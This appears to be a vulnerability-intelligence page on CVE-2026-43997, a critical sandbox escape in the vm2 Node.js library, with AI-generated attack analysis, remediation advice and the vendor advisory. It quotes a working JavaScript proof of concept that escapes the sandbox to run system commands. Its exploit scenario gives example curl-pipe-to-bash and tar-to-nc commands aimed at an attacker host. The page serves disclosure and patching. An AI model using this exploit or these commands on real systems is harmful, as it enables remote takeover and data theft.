vm2 CVE-2026-43997
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSubmit crafted JavaScript payload
-
DeliveryTraverse prototype chain via __lookupGetter__/Buffer.apply
-
ExploitObtain host Object constructor
-
InstallExtract Symbol(nodejs.util.inspect.custom) from Buffer.prototype
-
C2Inject malicious inspection handler
-
ExecuteTrigger WebAssembly.compileStreaming error path
-
ImpactExecute in host context with full Node.js privileges
-
Step 8Spawn child_process for arbitrary command execution
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated exploitation against default configurations of vm2 versions ≤3.10.5 when the application accepts and executes untrusted JavaScript code through vm2's sandboxing API. No special vm2 configuration, non-default settings, or enabled features required-the vulnerability exists in vm2's core context isolation mechanism. Attack succeeds in any deployment where vm2.run() or related methods process attacker-controlled JavaScript, which is vm2's primary use case. The proof-of-concept requires Node.js environment with Buffer and WebAssembly APIs accessible within the sandbox (standard in vm2 default configuration). Limiting factors: requires vm2 ≤3.10.5 specifically; applications using alternative sandboxing (isolated-vm, worker_threads with proper isolation) are not affected. No user interaction required (UI:N). Attack complexity is low (AC:L) as the exploit chain is deterministic and does not depend on race conditions or probabilistic behavior. |
| Impact | This represents critical real-world risk despite no CISA KEV listing at analysis time. CVSS 10.0 with vector AV:N/AC:L/PR:N/UI:N/S:C indicates trivial remote exploitation requiring no authentication or user interaction, with scope change allowing escape from sandbox to host system. Publicly available exploit code exists with detailed proof-of-concept in the GitHub advisory demonstrating full command execution primitive. The vulnerability affects a widely-deployed security boundary component-any application using vm2 ≤3.10.5 to sandbox untrusted code is immediately exploitable for complete system compromise. Attack complexity is low; the POC provides a ready-to-use RCE chain. Scope change (S:C) reflects the architectural severity: escaping from sandboxed context to host process fundamentally defeats vm2's security purpose. The coordinated disclosure addressed 13 sandbox-escape vulnerabilities simultaneously, suggesting systemic architectural weaknesses. EPSS data not provided, but characteristics (network vector, authentication-free, working exploit, critical infrastructure component) indicate high probability of exploitation. Organizations using vm2 for untrusted code execution (common in serverless, code playgrounds, plugin systems) face immediate RCE risk. Patch available and upgrade path is clear (v3.11.0), making this a straightforward prioritization for any vm2 deployment. |
| Exploit ScenarioDerived | An attacker submits malicious JavaScript to an application using vm2 for sandbox isolation (e.g., serverless function platform, online code playground, or plugin execution environment). The payload chains prototype traversal via __lookupGetter__ and Buffer.apply to obtain the host Object constructor, then extracts Symbol(nodejs.util.inspect.custom) using getOwnPropertySymbols. By crafting an object with the inspection symbol pointing to a malicious function and passing it to WebAssembly.compileStreaming, the attacker triggers util.inspect error handling in host context. The injected function executes with full Node.js privileges, calling process.getBuiltinModule('child_process').execSync to run arbitrary system commands (e.g., 'curl attacker.com/payload | bash' for reverse shell, 'tar czf - /etc /home | nc attacker.com 443' for data exfiltration, or cryptominer deployment). Publicly available proof-of-concept code in the GitHub advisory provides a working exploit primitive requiring no modification. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 07, 2026
Remote code execution in vm2 Node.js sandbox library (versions ≤3.10.5) allows attackers to escape isolation and execute arbitrary system commands by exploiting incomplete host Object protections. Attackers leverage JavaScript prototype chain manipulation to obtain host-context symbols, enabling injection of malicious code into Node.js inspection routines. Publicly available exploit code exists with working proof-of-concept demonstrating command execution via child_process. CVSS 10.0 (Critical) with network attack vector and no authentication required. Fixed in vm2 3.11.0, part of coordinated release addressing 13 sandbox-escape vulnerabilities.
RemediationAI
Upgrade vm2 to version 3.11.0 or later immediately, per GitHub release notes at https://github.com/patriksimek/vm2/releases/tag/v3.11.0. This coordinated security release addresses 13 sandbox-escape vulnerabilities including this cross-realm symbol extraction issue. Update NPM dependency with 'npm install vm2@3.11.0' or update package.json to specify '"vm2": "^3.11.0"' and run npm update. For environments unable to upgrade immediately, implement strict network isolation around vm2 execution contexts using OS-level containerization (Docker with --network=none, gVisor, Firecracker) to limit post-exploitation impact-however, this only mitigates RCE consequences and does not prevent sandbox escape. Alternative: migrate to isolated-vm (https://github.com/laverdet/isolated-vm) which uses V8 isolates rather than context-based sandboxing, though this requires code refactoring and has different performance characteristics. The new bufferAllocLimit option in 3.11.0 also addresses heap exhaustion DoS vectors (GHSA-6785-pvv7-mvg7). Organizations should audit all deployments accepting untruated code and prioritize upgrade testing, as the 3.11.0 release maintains API compatibility with no breaking changes to existing public surface.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
vm2 is a popular Node.js sandboxing library (npm package) designed to execute untrusted JavaScript in isolated contexts. This vulnerability (CWE-94: Improper Control of Generation of Code) exploits JavaScript's prototype chain and symbol system to break context isolation. The attack chains __lookupGetter__, Buffer.apply methods, and prototype traversal to obtain the host environment's Object constructor. Once the host Object is accessible, attackers extract internal Node.js symbols like Symbol(nodejs.util.inspect.custom) using getOwnPropertySymbols. By overriding the inspection symbol on a crafted object and passing it to WebAssembly.compileStreaming (which triggers util.inspect error handling), the attacker's function executes with host-context privileges, gaining access to process.getBuiltinModule and child_process for arbitrary command execution. Previous protections in commit ebcfe94ad2f864f0bc35e78cff1d921107cfd160 attempted to restrict host Object access but left multiple bypass paths. The NPM package identifier is pkg:npm/vm2.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
DescriptionCVE.org
Summary
It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.
Details
There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)
PoC
const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
const obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});Impact
Sandbox Escape -> RCE
Executive ViewAI
CVE-2026-43997 is a critical remote code execution vulnerability in the vm2 Node.js sandbox library affecting all versions through 3.10.5, allowing unauthenticated attackers to escape sandbox isolation and execute arbitrary system commands on affected systems. Organizations using vm2 for code isolation, sandboxing, or multi-tenant execution environments face immediate risk of complete system compromise. Immediate upgrade to version 3.11.0 or higher is required; organizations unable to patch must discontinue vm2 use or implement strict network-level access controls.
Vendor-released patch: vm2 3.11.0. If upgrade is not immediately feasible: (1) Restrict network access to services running vulnerable vm2 instances to trusted internal networks only; (2) Implement strict input validation and sanitization on all code passed to vm2; (3) Run affected services in isolated containers with minimal privileges and restricted filesystem/network capabilities; (4) Monitor for exploitation indicators including unexpected child process spawning and abnormal system command execution; (5) Consider discontinuing use of vm2 in favor of hardened alternatives pending patch deployment. These controls reduce but do not eliminate risk.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
GHSA-47x8-96vw-5wg6
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB